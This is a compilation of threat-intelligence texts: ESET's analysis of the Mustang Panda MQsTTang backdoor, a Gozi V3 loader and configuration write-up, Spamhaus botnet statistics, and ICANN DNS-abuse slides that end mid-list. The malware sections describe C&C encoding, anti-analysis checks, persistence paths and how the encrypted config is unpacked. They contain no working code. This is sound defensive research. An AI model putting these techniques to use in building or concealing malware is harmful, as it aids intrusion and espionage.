sent to TW government ## YARA Rules - **Mofu Loader** - **HemiGate (Payload)** - **SlyMongo (Payload)** ### Rule Examples - Rule for detecting MofuLoader in memory. - Rule for detecting HemiGate in memory. - Rule for detecting SlyMongo. ## Thank You Do you have any questions? Please keep this slide for attribution.
# MQsTTang: Mustang Panda’s Latest Backdoor Treads New Ground with Qt and MQTT March 2, 2023 ESET researchers have analyzed MQsTTang, a new custom backdoor attributed to the Mustang Panda APT group. This backdoor is part of an ongoing campaign traced back to early January 2023. Unlike most of the group’s malware, MQsTTang doesn’t seem to be based on existing families or publicly available projects. Mustang Panda is known for its customized Korplug variants (also dubbed PlugX) and elaborate loading chains. In a departure from the group’s usual tactics, MQsTTang has only a single stage and doesn’t use any obfuscation techniques. ## Victimology We have seen unknown entities in Bulgaria and Australia in our telemetry. We also have information indicating that this campaign is targeting a governmental institution in Taiwan. However, due to the nature of the decoy filenames used, we believe that political and governmental organizations in Europe and Asia are also being targeted. This aligns with the targeting of the group’s other recent campaigns. As documented by fellow researchers at Proofpoint, Mustang Panda has been known to target European governmental entities since at least 2020 and has increased its activity in Europe since Russia’s invasion of Ukraine. ## Attribution We attribute this new backdoor and the campaign to Mustang Panda with high confidence based on the following indicators. We found archives containing samples of MQsTTang in two GitHub repositories belonging to the user YanNaingOo0072022. Another GitHub repository of the same user was used in a previous Mustang Panda campaign described by Avast in a December 2022 blog post. One of the servers used in the current campaign was running a publicly accessible anonymous FTP server that seems to be used to stage tools and payloads. In the /pub/god directory of this server, there are multiple Korplug loaders, archives, and tools that were used in previous Mustang Panda campaigns. This is the same directory that was used by the stager described in the aforementioned Avast blog post. Some of the infrastructure used in this campaign also matches the network fingerprint of previously known Mustang Panda servers. ## Technical Analysis MQsTTang is a barebones backdoor that allows the attacker to execute arbitrary commands on a victim’s machine and get the output. It presents some interesting characteristics, chief among these is its use of the MQTT protocol for C&C communication. MQTT is typically used for communication between IoT devices and controllers, and the protocol hasn’t been used in many publicly documented malware families. One such example is Chrysaor, also known as Pegasus for Android. From an attacker’s perspective, one of MQTT’s benefits is that it hides the rest of their infrastructure behind a broker. Thus, the compromised machine never communicates directly with the C&C server. This capability is achieved by using the open-source QMQTT library, which depends on the Qt framework, a large part of which is statically linked in the malware. Using the Qt framework for malware development is also fairly uncommon. Lazarus’s MagicRAT is one of the rare recently documented examples. MQsTTang is distributed in RAR archives which only contain a single executable. These executables usually have names related to diplomacy and passports such as: - CVs Amb Officer PASSPORT Ministry Of Foreign Affairs.exe - Documents members of delegation diplomatic from Germany.exe - PDF_Passport and CVs of diplomatic members from Tokyo of JAPAN.exe - Note No.18-NG-23 from Embassy of Japan.exe These archives are hosted on a web server with no associated domain name. This fact, along with the filenames, leads us to believe that the malware is spread via spearphishing. So far, we have only observed a few samples. Besides variations in some constants and hardcoded strings, the samples are remarkably similar. The only notable change is the addition of some anti-analysis techniques in the latest versions. The first of these consists of using the CreateToolhelp32Snapshot Windows API function to iterate through running processes and look for known debuggers and monitoring tools. The second technique uses the FindWindowW Windows API to look for specific Window Classes and Titles used by known analysis tools. When executed directly, the malware will launch a copy of itself with 1 as a command line argument. This is repeated by the new process, with the argument being incremented by 1 on every run. When this argument hits specific values, certain tasks will be executed. The tasks themselves and the order in which they are executed is constant. ### Task List | Task number | Argument value | Task description | |-------------|----------------|------------------| | 1 | 5 | Start C&C communication. | | 2 | 9 | Create copy and launch. | | 3 | 32 | Create persistence copy. | | 4 | 119 | Establish persistence. | | 5 | 148 | Stop recursive execution. | If any analysis tool or debugger is detected, the behavior of task 1 is altered and tasks 2, 3, and 4 are skipped entirely. ### Task 1: C&C Communication MQsTTang communicates with its C&C server over the MQTT protocol. All observed samples use 3.228.54.173 as the broker. This server is a public broker operated by EMQX, who also maintain the QMQTT library. This could be a way to make the network traffic seem legitimate and to hide Mustang Panda’s own infrastructure. Using this public broker also provides resiliency; the service is unlikely to be taken down because of its many legitimate users. However, this campaign could also be a test case by Mustang Panda before deciding whether to invest the time and resources to set up their own broker. This is supported by the low number of samples we’ve observed and the very simple nature of MQsTTang. As shown, the malware and C&C server use two MQTT topics for their communication. The first one is used for communication from the client to the server. The second one is used for communication from the server to the client. If any analysis tool is detected, server2 and v2 are respectively replaced with server0 and v0. All communication between the server and the client uses the same encoding scheme. The MQTT message’s payload is a JSON object with a single attribute named msg. To generate the value of this attribute, the actual content is first base64 encoded, then XORed with the hardcoded string "nasa", and base64 encoded again. Upon first connecting to the broker, the malware subscribes to its unique topic. Then, and every 30 seconds thereafter, the client publishes a KeepAlive message to the server’s topic. When the server wants to issue a command, it publishes a message to the client’s unique topic. The plaintext content of this message is simply the command to be executed. The client executes the received command using QProcess::startCommand from the Qt framework. The output, obtained using QProcess::readAllStandardOutput, is then sent back in a JSON object. ### Tasks 2 and 3: Copying the Malware The second and third tasks are fairly similar to each other. They copy the malware’s executable to a hardcoded path; c:\users\public\vdump.exe and c:\users\public\vcall.exe respectively. In the second task, the newly created copy is then launched with the command line argument 97. ### Task 4: Establishing Persistence Persistence is established by the fourth task, which creates a new value qvlc set to c:\users\public\vcall.exe under the HKCU\Software\Microsoft\Windows\CurrentVersion\Run registry key. This will cause the malware to be executed on startup. When MQsTTang is executed on startup as c:\users\public\vcall.exe, only the C&C communication task is executed. ## Conclusion The Mustang Panda campaign described in this article is ongoing as of this writing. The victimology is unclear, but the decoy filenames are in line with the group’s other campaigns that target European political entities. This new MQsTTang backdoor provides a kind of remote shell without any of the bells and whistles associated with the group’s other malware families. However, it shows that Mustang Panda is exploring new technology stacks for its tools. It remains to be seen whether this backdoor will become a recurring part of the group’s arsenal, but it is one more example of the group’s fast development and deployment cycle.
# Gozi V3 Technical Update **Author** Threat Research Team In 2017, Gozi was updated to include protections of the onboard configuration known as INI PARAMS. That update was likely in response to an excellent article written by @maciekkotowicz, or possibly because infection rates had dropped due to increased coverage through various IOC extraction programs. This post aims to fill any technical gaps related to the changes in this new evolution as compared to previous versions to show the similarities and differences between this new version and the previous one. Previous major versions of Gozi include Dreambot or the addition of P2P mechanisms and IAP, which is an evolution of ISFB where serpent encryption was added and the panel was changed. These distinctions are important because while older ISFB code versions were leaked, these other code bases are not so widely spread. ## Key findings of this report: 1. Bot DLL changes in how it’s protected and stored in the loader 2. Onboard configuration changes in how the Bot DLL is protected and stored 3. Changes in joiner elements stored in the binary 4. Bot DLL now can come chopped up with a missing DOS header Historically, Gozi can be broken down into two major components: the loader portion and the DLL. Some actors have reused the DLL part since it was leaked with the ISFB leak in order to add a banking trojan module for added functionality (GOZNYM). Some of this usage as a module has caused quite a bit of confusion with naming, which suggests that we should name distinct parts of malware and not just the entire package. More in-depth naming doesn’t seem to happen until something is added, removed, or spun off, and then researchers are left to perform historical analysis and time-consuming mapping of genealogies, and even then, sometimes get it wrong. For the purpose of this paper, however, we’ll be using naming based on recovered panel code and major version changes since the ISFB leak along with historical analysis already conducted. ## Gozi Loader As per the previous versions, the loader still decodes its bss section where it keeps all the strings that it will use. Most of the important data is still stored using the same Joiner code from the ISFB code on GitHub; however, instead of having all the data with an ADDON_MAGIC stored in code caves, the data is instead stored as a table with a single 2-byte ADDON_MAGIC value serving as a way to locate it. The addon descriptor table has changed slightly and the relevant flags are part of the XOR value in the table. The only relevant flag currently used is relating to whether or not the data is compressed. In the event the data is compressed, it is decompressed using APLIB; if the data is not compressed, it is copied over. The loader is now based on an IAP variant and now comes with an onboard mangled DLL. The DLL is reconstructed using tables of offsets. After being reconstructed and having its imports fixed, you are left with a memory-mapped DLL at the magic bytes PE but with the PE already stripped out. Fixing the code for static analysis involves either reconstructing the missing data – basically everything before the NT headers, or letting the malware load everything into memory and then dumping it. A walkthrough of the reconstruction process can be seen later in this write-up. Most of the functions for this version are resolved manually; you can let the malware resolve its own dependencies and then use a script to auto rename the functions in the malware, or use any of a number of scripts available to rebuild the IAT from a dump. ## Gozi DLL The DLL is similar to previous versions. It has an onboard public key, a wordlist that it will use to generate pseudo-random strings and INI parameters. Also, it comes with onboard algorithms used by previous versions, APLib (ISFB), Serpent CBC (IAP), and custom RSA encrypt/decrypt (ISFB). The INI parameters are now protected a little more as compared to previous versions. The bot takes the last 128 bytes of data and then uses the ISFB routine RSAPublicDecrypt to decrypt this block of data and parse out the encrypted data it wants to use. In this case, the data that is parsed out ends up being the Serpent key to decrypt the data itself. To do this in Python, we encrypt the data with the RSA public key which decrypts out the data we need. After skipping 16 bytes, the bot takes the next 16 bytes and uses this as a Serpent key which is then used to decrypt the INI parameters in CBC mode with a NULLed IV – similar to how it would previously encode its URI string. In order to utilize the RSA public key, however, we need to do a bit of conversion work and decompress it if the flag is set. ## Reconstructing the mangled DLL When reconstructing the DLL, we find that it gets APLib decompressed with another magic two bytes on top ‘PX’. From there, execution is handed off to a routine that will be responsible for parsing the headers of the mangled DLL data to properly map it into memory. This routine uses the word value at offset 0x62 to perform a loop involving a call to copy data into our newly allocated section. To get to the structure, 0x14 is added to the pointer meaning that each structure in the list takes up 20 bytes. Reconstruction can be seen a little easier through Python pseudocode. After being reconstructed, you are left with a DLL that has been mapped into memory at the start of the IMAGE_NT_HEADERS but with the “PE” wiped out. Oddly enough, the Dreambot version for v3 does not come with a mangled DLL but instead is APLib compressed -> structified -> serpent CBC encrypted. The serpent key is hidden at the end, similar to the INI parameters. Within the DLL, whether decompressed or reconstructed, we can find the INI parameters that are most interesting to people as it’s where the C2 information is stored. From the previous version, just add an RSAPublicDecrypt, parse out the serpent key, and then use serpent CBC to decrypt the data. ## Conclusion There have been a number of smaller and less talked about versions pop up aside from this one, so what makes this one special? It’s very common for malware authors to reuse proven code libraries and code bases to either enhance their own malware or to create a variant of an older version. So what makes this v3? The answer is that it’s code and obfuscation that appears to be expanding upon the last major version outlined within the community. Whether or not that is the case or if that code base was packaged up and sold off remains to be seen. A number of other versions of this malware family have popped up over the years where people have performed slight modifications, for example changing the ADDON_MAGIC in the ISFB code base. These sorts of one-off versions have also popped up in the versions after IAP – which, as you might recall from the introduction, has a code base that is not as readily available as ISFB. So whatever version this one wants to be is fine but at the end of the day it’s a new variant of Gozi and hopefully this paper has helped explain how it fits into the family. ## IOCs: **V3:** - 1d8a0f9c987bf0332fbb3d41b002c0d379c38564ceeaee402c0a0681ecb93be1 - 92e0f1754394b5a19595c7c5ce03c0d29be1f0e28b5e9c9c61bde2918572f31a - 2d2e4985cc102109505c1a69d24ead1664adfe3ba382fc330ba73771d64cd924 **One offs:** - 63813e71ffad159f8d8a1e54fc1bc256a7592406ffd7fb4e11a538cfd7ae7932 – “J1” magic val - 134463122c569995795bc0857f70f1dcaa572a599bb4fed6c22692df6c94e869 – “J1” magic val - 48e9227077ba672530c0c55867b8380b9155f026f65cc74bf4cfe5a7b1f539f7 – “JJ” magic val with different order of section length/offset + custom loader DLL parsing with missing MZ and PE and an abnormal INI params parsing.
# Spamhaus Botnet Threat Update Q2 2023 The number of botnet command control (C&C) servers plateaued in Q2 of this year, with a minimal +1% increase. Nevertheless, given the +23% increase in Q1, it would have been good to have seen numbers decrease. The misuse of the legitimate penetration testing tool Cobalt Strike remains a top threat, and our researchers are not seeing a reduction in active botnet C&Cs across hosting providers whose increases in Q1 were abnormally high. ## About this report Spamhaus tracks both Internet Protocol (IP) addresses and domain names used by threat actors for hosting botnet command & control (C&C) servers. This data enables us to identify associated elements, including the geolocation of the botnet C&Cs, the malware associated with them, the top-level domains used when registering a domain for a botnet C&C, the sponsoring registrars, and the network hosting the botnet C&C infrastructure. ### Number of botnet C&Cs observed, Q2 2023 In Q2 2023, Spamhaus identified 8,438 botnet C&Cs compared to 8,358 in Q1 2023. This was a +1% increase quarter on quarter. The monthly average increased from 2,786 in Q1 to 2,813 botnet C&Cs per month in Q2 2023. | Quarter | No. of Botnets | Quarterly Average | % Change | |---------------|----------------|-------------------|----------| | Q3 2022 | 4,331 | 1,444 | +38% | | Q4 2022 | 6,775 | 2,258 | +56% | | Q1 2023 | 8,358 | 2,786 | +23% | | Q2 2023 | 8,438 | 2,813 | +1% | ### What are botnet command & controllers? A ‘botnet controller,’ ‘botnet C2,’ or ‘botnet command & control’ server is commonly abbreviated to ‘botnet C&C.’ Fraudsters use these to both control malware-infected machines and extract personal and valuable data from malware-infected victims. Botnet C&Cs play a vital role in operations conducted by cybercriminals who are using infected machines to send out spam or ransomware, launch DDoS attacks, commit e-banking fraud or click-fraud, or mine cryptocurrencies such as Bitcoin. Desktop computers and mobile devices, like smartphones, aren’t the only machines that can become infected. There is an increasing number of devices connected to the internet, for example, the Internet of Things (IoT), devices like webcams, network attached storage (NAS), and many more items. These are also at risk of becoming infected. ### Geolocation of botnet C&Cs, Q2 2023 The Americas are on the rise (again). The United States has topped the charts for the past four quarterly reports, and this quarter is no exception. In this Q2 Top 20, the US hosted 37% of all botnet C&Cs observed by our researchers. However, their increase against last quarter’s numbers was a minimal +4%, unlike Mexico, which experienced a +130% increase, along with Canada, which had a +41% increase. #### Decreases across Europe Having reported increases across European countries hosting botnet C&Cs for the past year, there was finally a reduction in Q2. Almost every country that experienced decreases in our Top 20 was European, with Switzerland (-45%), the Netherlands (-26%), and Germany (-24%) all experiencing meaningful reductions. ### Top 20 locations of botnet C&Cs | Rank | Country | Q1 2023 | Q2 2023 | % Change Q on Q | |------|---------------------|---------|---------|------------------| | #1 | United States | 1857 | 1935 | 4% | | #2 | China | 993 | 1333 | 34% | | #3 | Russia | 811 | 667 | -18% | | #4 | Netherlands | 683 | 503 | -26% | | #5 | Germany | 609 | 465 | -24% | | #6 | Mexico | 127 | 292 | 130% | | #7 | France | 319 | 288 | -10% | | #8 | United Kingdom | 249 | 243 | -2% | | #9 | Canada | 154 | 217 | 41% | | #10 | Singapore | 152 | 153 | 1% | | #11 | Saudi Arabia | 113 | 135 | 19% | | #12 | Finland | 135 | 128 | -5% | | #13 | India | 115 | 121 | 5% | | #14 | Bulgaria | 109 | 114 | 5% | | #15 | Switzerland | 164 | 91 | -45% | | #16 | Japan | 101 | 90 | -11% | | #17 | Sweden | 100 | 87 | -13% | | #18 | Korea (Rep. of) | - | 79 | New entry | | #19 | Austria | 70 | 76 | 9% | | #20 | Italy | - | 71 | New entry | ### Malware associated with botnet C&Cs, Q2 2023 Cobalt Strike and Qakbot remain prevalent. Anyone with a keen eye will note that this is the same headline from Q1, meaning that this is now the fourth quarter Cobalt Strike has been in the #1 spot. However, the gap is closing between its nearest rival, Qakbot. In Q1, Cobalt Strike was associated with +160% more malware than Qakbot. However, this quarter the difference was “only” +85% more. #### Is FluBot still operational? Europol announced in June 2022 that FluBot had been taken down, so you may be questioning why we are showing an 80% increase in the number of botnet C&Cs associated with this malware? As we’ve discussed in previous publications, FluBot used a “FastFlux” technique to host its botnet C&Cs. The same botnet infrastructure also serves as C&Cs for other malware families, such as TeamBot. To make our internal tracking easier, we continue to label the associated infrastructure as FluBot, but this is effectively hosting all kinds of other botnet C&C badness. #### Misuse of penetration testing tools is on the rise Given the prevalence of Cobalt Strike, it will come as no surprise that malware related to penetration testing tools account for the largest percentage of associated botnet C&Cs. The situation was exacerbated in Q2 by Sliver, which moved up the chart two places, with a +41% increase. ### Malware families associated with botnet C&Cs | Rank | Q1 2023 | Q2 2023 | % Change | Malware Family | Description | |------|---------|---------|----------|------------------------|---------------------------------| | #1 | 2182 | 2501 | 15% | Cobalt Strike | Pentest Framework | | #2 | 969 | 1349 | 39% | Qakbot | Backdoor | | #3 | 332 | 596 | 80% | Flubot | Android Backdoor | | #4 | 889 | 548 | -38% | RecordBreaker | Credential Stealer | | #5 | 380 | 456 | 20% | AsyncRAT | Remote Access Trojan (RAT) | | #6 | 256 | 361 | 41% | Sliver | Pentest Framework | | #7 | 417 | 258 | -38% | RedLineStealer | Remote Access Trojan (RAT) | | #8 | 254 | 254 | 0% | Remcos | Remote Access Trojan (RAT) | | #9 | 321 | 206 | -36% | IcedID | Credential Stealer | | #10 | 194 | 145 | -25% | ISFB | Remote Access Trojan (RAT) | | #11 | 185 | 132 | -29% | DCRat | Remote Access Trojan (RAT) | | #12 | - | 113 | New entry| QuasarRAT | Remote Access Trojan (RAT) | | #13 | 80 | 99 | 24% | Tofsee | Spambot | | #14 | - | 98 | New entry| Havoc | Backdoor | | #15 | 155 | 82 | -47% | NjRAT | Remote Access Trojan (RAT) | | #16 | 67 | 79 | 18% | AveMaria | Remote Access Trojan (RAT) | | #17 | 175 | 73 | -58% | Bumblebee | Backdoor | | #18 | - | 61 | New entry| Hydra | Credential Stealer | | #19 | 143 | 53 | -63% | Aurora Stealer | Credential Stealer | | #20 | 168 | 47 | -72% | Rhadamanthys | Credential Stealer | ### Most abused top-level domains, Q2 2023 The TLD botnet landscape after Freenom’s issues. Last quarter we reported on the Freenom effect; whereby malicious operators were moving to the next best thing to free domain names - the cheapest ones available. In Q1, researchers witnessed huge increases, i.e., +1,569% for .us, which we attributed to the Freenom effect. In Q2, the botnet C&C TLD landscape settled down somewhat. The largest increase experienced was +133% for .cloud, run by ARUBA PEC SpA, one of the largest domain registries in Europe. This placed the TLD at #5, up from #20 in Q1. #### New entry at #2 for .rest New entrant .rest is run by Punto 2012, a Mexican-based registry running gTLDs for restaurants and bars. We suspect the restaurant industry focused gTLD has been running a promotion to drive domain registrations. As we all know, where cheap domains prevail, criminal activity will follow. We recommend Punto 2012 work with its registrars to improve vetting and registration processes. #### Botnet operators Cyou ShortDot registry had 161 botnet C&Cs using its TLD, .cyou, in Q2. This is a large increase of 112% quarter on quarter. No doubt this is because .cyou domains are available for next to nothing (at the time of publication, we’ve found them available for $2.55 for the first year). Meanwhile, ShortDot’s .cfd (ClothingFashionDesign) is a new entry at #18 to the Top 20 in Q2. ### Most abused top-level domains - number of domains | Rank | Q1 2023 | Q2 2023 | % Change | TLD | Note | |------|---------|---------|----------|-------|--------| | #1 | 2736 | 1741 | -36% | com | gTLD | | #2 | - | 238 | New entry| rest | gTLD | | #3 | 131 | 226 | 73% | shop | gTLD | | #4 | 541 | 188 | -65% | ru | ccTLD | | #5 | 69 | 161 | 133% | cloud | gTLD | | #5 | 76 | 161 | 112% | cyou | gTLD | | #5 | 1094 | 161 | -85% | top | gTLD | | #8 | 90 | 157 | 74% | cn | ccTLD | | #9 | 868 | 95 | -89% | us | ccTLD | | #10 | - | 94 | New entry| beauty| gTLD | | #11 | - | 90 | New entry| br | ccTLD | | #12 | 145 | 85 | -41% | info | gTLD | | #13 | 242 | 80 | -67% | org | gTLD | | #14 | 103 | 72 | -30% | xyz | gTLD | | #15 | 174 | 60 | -66% | net | gTLD | | #16 | 318 | 50 | -84% | site | gTLD | | #17 | - | 47 | New entry| makeup| gTLD | | #18 | - | 44 | New entry| cfd | gTLD | | #19 | - | 40 | New entry| io | ccTLD | | #19 | 463 | 40 | -91% | me | ccTLD | ### Most abused domain registrars, Q2 2023 Sav suffered significant increases. Having stayed out of the top three, Q2 saw Sav experience an eye-watering 408% increase, placing them at #2. Positioned at the cheaper end of the market, they focus on pseudo-TLDs. Unlike standard TLDs, they allow registration of subdomains beneath actual domains. Due to the absence of ICANN fees, these domains can be offered at a lower price. Our researchers suspect that, with Freenom’s no longer endless supply of domains, registrars such as Sav promoting cheap prices are inevitably attracting abusive operators. #### Namecheap starts to drop down the leaderboard Having spent years in second place in the Top 20, Namecheap started to experience improvements in Q2, when it dropped to #3 with a -66% decrease in the number of domain names registered by botnet C&C operators. There were also significant decreases for Hostinger (-86%), Google (-85%), and Nicenic (-80%). #### Hats off to Tucows For Canadian-based Tucows, the downward trend continues. After holding the top spot in Q4 2022 with 597 domains, Tucows has turned it around over the last six months. Dropping an impressive -75% in Q1 of this year, followed by a further -40% in Q2, with 90 domains associated with botnet C&Cs. Long may the decreases continue! ### Most abused domain registrars - number of domains | Rank | Q1 2023 | Q2 2023 | % Change | Registrar | Country | |------|---------|---------|----------|--------------------|------------------| | #1 | 2109 | 919 | -56% | NameSilo | Canada | | #2 | 165 | 838 | 408% | Sav | United States | | #3 | 1152 | 388 | -66% | Namecheap | United States | | #4 | 626 | 201 | -68% | RegRU | Russia | | #5 | 613 | 183 | -70% | PDR | India | | #6 | 108 | 168 | 56% | Xin | China | | #7 | 149 | 90 | -40% | Tucows | Canada | | #8 | - | 89 | New entry| InterNetworX | Germany | | #9 | 375 | 76 | -80% | Nicenic | China | | #10 | 91 | 60 | -34% | Alibaba | China | | #11 | 395 | 58 | -85% | Google | United States | | #12 | 74 | 57 | -23% | Porkbun | United States | | #13 | 235 | 34 | -86% | Hostinger | Lithuania | | #14 | 43 | 29 | -33% | Gandi | France | | #15 | 48 | 25 | -48% | Name.com | United States | | #16 | 36 | 24 | -33% | Openprovider | China | | #17 | - | 21 | New entry| ENom | Canada | | #18 | - | 20 | New entry| 101Domain | Ireland | | #19 | - | 18 | New entry| Todaynic | China | | #20 | 46 | 14 | -70% | RU-Center | Russia | ### Networks hosting the most newly observed botnet C&Cs, Q2 2023 While this Top 20 listing illustrates that there may be an issue with customer vetting processes at the named network, it doesn’t reflect on the speed that abuse desks deal with reported problems. #### Same providers, different ranks, but tencent.com remains #1 Usually, we see a reasonable amount of fluctuation in the names of network providers hosting botnet C&C infrastructure. However, in Q2, there were only three new entries; constant.com (#12), bt.com (#16), and huawei.com (#17). Sadly, tencent.com remains top of the leaderboard, with an increase of +27% quarter on quarter, taking it to 593 botnet C&Cs in Q2. #### Uninet.net.mx is evidently struggling Q2 saw uninet.net.mx, a Mexican provider, rising from #11 to #5, with the largest percentage increase (+128%) across all networks. We strongly recommend that providers experiencing significant increases relating to botnet C&Cs being hosted on their networks make their registration and vetting procedures more robust. ### Networks hosting the most active botnet C&Cs, Q2 2023 Finally, let’s review the networks that hosted the most significant number of active botnet C&Cs at the end of Q2 2023. Hosting providers in this ranking either have an abuse problem, do not take the appropriate action when receiving abuse reports, or omit to notify us when they have dealt with an abuse problem. #### At least the huge increases have ceased… Last quarter we reported an alarming number of increases relating to networks hosting active botnet C&Cs. Eight network providers experienced triple-figure increases. Thankfully the largest increase in Q2 was 49% (alibaba-inc.com). Disappointingly, we didn’t witness triple-figure decreases, meaning there are still far too many active botnet C&Cs on networks, i.e., providers are still taking too long to deal with abuse reports. #### The scale of the problem at the top of the chart The Top 20 providers who are not quickly resolving botnet C&C issues had 899 active botnet C&Cs on their networks in Q2. Of these, tencent.com (#1), alibaba-inc.com (#2), amazon.com (#3), and digitalocean.com (#4) account for just under 50% of this total. Admittedly, US-based providers amazon.com and digitalocean.com saw reductions in numbers in Q2, -28% and -33% respectively, which we applaud. Unfortunately, both Chinese-based networks, tencent.com and alibaba-inc.com, saw increases of 37% and 49%, respectively. ### Total number of active botnet C&Cs per network | Rank | Q1 2023 | Q2 2023 | % Change | Network | Country | |------|---------|---------|----------|--------------------|------------------| | #1 | 467 | 593 | 27% | tencent.com | China | | #2 | 292 | 448 | 53% | alibaba-inc.com | China | | #3 | 335 | 308 | -8% | amazon.com | United States | | #4 | 258 | 294 | 14% | delis.one | Netherlands | | #5 | 126 | 287 | 128% | uninet.net.mx | Mexico | | #6 | 318 | 270 | -15% | digitalocean.com | United States | | #7 | 302 | 202 | -33% | hetzner.com | Germany | | #8 | 182 | 177 | -3% | aeza.net | Russia | | #9 | 159 | 163 | 3% | ovh.net | France | | #10 | 174 | 141 | -19% | zerohost.io | Russia | | #11 | 102 | 132 | 29% | stc.com.sa | Saudi Arabia | | #12 | - | 125 | New entry | constant.com | United States | | #13 | 97 | 124 | 28% | microsoft.com | United States | | #14 | 142 | 110 | -23% | lethost.co | Russia | | #15 | 81 | 95 | 17% | colocrossing.com | United States | | #16 | - | 91 | New entry | bt.com | United Kingdom | | #17 | - | 90 | New entry | huawei.com | China | | #18 | 121 | 86 | -29% | m247.com | Romania | | #19 | 119 | 85 | -29% | blnwx.com | Netherlands | | #20 | 93 | 84 | -10% | ielo.net | France | That’s all for now. Stay safe, and see you in October 2023!
# Cybersecurity & the ICANN Ecosystem ## Introduction ### Common Elements Inside a Network - **Mail servers** - E-mail - Calendaring - Contacts - **Database servers** - Asset data - Customer data - Employee data - **File servers** - Financial information - Design documents - Organizational processes and procedures ### What Underpins These Elements? - Identity Management - Authorization - Authentication - Key Management - Routing Infrastructure - External & Internal Connectivity - IP addressing - DNS ### Common Types of Cybercrime - **Phishing**: “The fraudulent practice of sending emails purporting to be from reputable companies in order to induce individuals to reveal personal information, such as passwords and credit card numbers.” - **Malware**: “Software that is specifically designed to disrupt, damage, or gain unauthorized access to a computer system” - e.g., ransomware, key loggers, root kits, viruses - **Botnets**: “A network of private computers infected with malicious software and controlled as a group without the owners' knowledge” ### DNS Abuse - Everyone uses the DNS to resolve user-friendly names to Internet Protocol (IP) addresses. - Disrupt the DNS and you disrupt merchant transactions, government services, social networks. - Exploit the DNS and you can trick, defraud, or deceive users. - Vectors for exploitation: - Maliciously register domain names - Hijack name resolution or registration services - Corrupt DNS data ### What do Cyberattacks Look Like? We can share two examples of recent cyberattacks. These specific attacks involved: - Targeting vulnerabilities in the Internet’s routing system - Targeting vulnerabilities in e-mail systems - DNS abuse - primarily the surreptitious altering of name resolution ### MyEtherWallet.com - Route hijacking of Amazon Web Services DNS server addresses to redirect DNS queries to a nameserver the criminals control. - DNS servers now give out IP addresses to a fake MyEtherWallet.com website. - Users input login credentials into the fake site. - Attackers steal ~USD21,000,000 of cryptocurrency from the real MyEtherWallet.com using the harvested login credentials. ### DNSpionage & Sea Turtle - **DNSpionage (2018) & Sea Turtle (present day)**: “Military cyber-offense prepositioning” – gathering all the intelligence needed to launch military cyber attacks. - 40 organizations in 13 countries in North Africa and the Middle East. - Targeting primarily: - National security organizations - Ministries of foreign affairs - Energy companies - Infiltrating DNS and e-mail and certificate authorities. - With all these elements under control, the attackers can obtain and decrypt documents. ### ICANN’s Role? These types of large-scale attacks are infrequent, and because of their surface area, involve: - Sovereign governments - Multi-national companies - International law enforcement - Widespread news coverage Other (smaller scale) cybersecurity incidents happen daily. ICANN is a key player before, during, and after cybersecurity incidents – both the ICANN Community and the ICANN Org. During this webinar, we will describe ICANN’s role in the cybersecurity ecosystem and help familiarize you with key cybersecurity technologies. ### ICANN’s Role: Before a Cybersecurity Incident ICANN’s Bylaws place a strong emphasis on cybersecurity: “The mission of the Internet Corporation for Assigned Names and Numbers (ICANN) is to ensure the stable and secure operation of the Internet's unique identifier systems.” Our bylaws include many commitments, including: “Preserve and enhance the administration of the DNS and the operational stability, reliability, security, global interoperability, resilience, and openness of the DNS and the Internet.” ### Security, Stability, and Resiliency The words we use to describe the cybersecurity framework that ICANN operates in are “security, stability, and resiliency” (SSR): - **Security** means the capacity to protect and prevent misuse of Internet unique identifiers. - **Stability** means the capacity to ensure that the system operates as expected, and that users of unique identifiers have confidence that the system operates as expected. - **Resiliency** means the capacity of the unique identifier system to effectively withstand malicious attacks and other disruptive events without disruption or cessation of service. ### ICANN’s SSR Commitments In fulfilling our commitments to the SSR of the unique identifier system, ICANN focuses efforts in three arenas: - Policy development - Identifier operations - Protocol development ### Policy Development: Communities Throughout the ICANN ecosystem, there are numerous communities developing policies and procedures to improve SSR: - **GAC’s Public Safety Working Group (PSWG)**: Focuses on aspects of ICANN’s policies and procedures that implicate the safety of the public, including developing the “DNS Abuse and Cybercrime mitigation capabilities of the ICANN and Law Enforcement communities.” - **Security and Stability Advisory Committee (SSAC)**: Engages in ongoing threat assessment and risk analysis of the unique identifier system to assess where the principal threats to stability and security lie. - **Root Server System Advisory Committee (RSSAC)**: Advises the ICANN Board and community on matters relating to the operation, administration, security, and integrity of the Root Server System. ### Policy Development: Contracts The contracts between ICANN and registries and registrars are important tools to promote SSR: - The 2013 Registrar Accreditation Agreement imposes a duty to investigate abuse. - The 2017 Registry Agreement includes provisions requiring Registrars to include in their Registration Agreements a provision prohibiting Registered Name Holders from distributing malware, abusively operating botnets, phishing, piracy, trademark or copyright infringement, fraudulent or deceptive practices, counterfeiting, or otherwise engaging in activity contrary to applicable law, and providing consequences for such activities including suspension of the domain name. ### Identifier Operations: PTI ICANN subsidiary Public Technical Identifiers (PTI) is responsible for the operational aspects of coordinating the Internet’s system of unique identifiers: - **Number Resources**: Allocate IPv4, IPv6, and AS numbers to the RIRs. - **DNS Operations**: Maintain the root zone for forward DNS, administer the .ARPA zone for reverse DNS, maintain the trust anchor for DNSSEC. - **Protocol Parameter Registries**: Coordinate over 3,000 registries for IETF protocols. ### Identifier Operations: What is DNSSEC? **Domain Name System Security Extensions (DNSSEC)**: - To help prevent DNS abuse, DNSSEC introduces cryptography that provides assurances to users that DNS data they are seeing is valid and true. - Domain name registrants sign their DNS data. - DNS operators validate all DNS data passing through DNS resolvers. ### Identifier Operations: DNSSEC Keys DNSSEC uses Public Key Infrastructure (PKI) technology: - The “key signing key” (KSK) is the top-most cryptographic key in the DNSSEC hierarchy. - The KSK is a cryptographic public-private key pair: - Public part is the trusted starting point for DNSSEC validation. - Private part signs the “zone signing key” (ZSK). - The KSK builds a “chain of trust” of successive keys and signatures to validate the authenticity of any DNSSEC-signed data. ### Identifier Operations: PTI’s Role in DNSSEC PTI is entrusted by the Internet to: - Issue, manage, change, and distribute DNS keys. - Sign the keyset. - Follow cryptography best practices developed by the Internet Engineering Task Force (IETF). ### Protocol Development ICANN staff and community members regularly participate in the IETF to help develop the protocols that the Internet runs on: - Email (RFC 822 published in 1982 by Dave Crocker) - DNS (RFC 882 published in 1985 by Paul Mockapetris) - DNSSEC (RFC 4033 published in 2005 by five authors including current ICANN employees Matt Larson and Roy Arends) - DNS-over-HTTPS (RFC 8484 published in 2018 by two authors including current ICANN employee Paul Hoffman) ### ICANN’s Role: During a Cybersecurity Incident Stopping an ongoing cyberattack requires coordinated responses from: - Network operators - Global law enforcement agencies - National Computer Incident Response Teams (CIRTs) - Registries ### Attribution One of the most important activities during a cyberattack is proper attribution: - 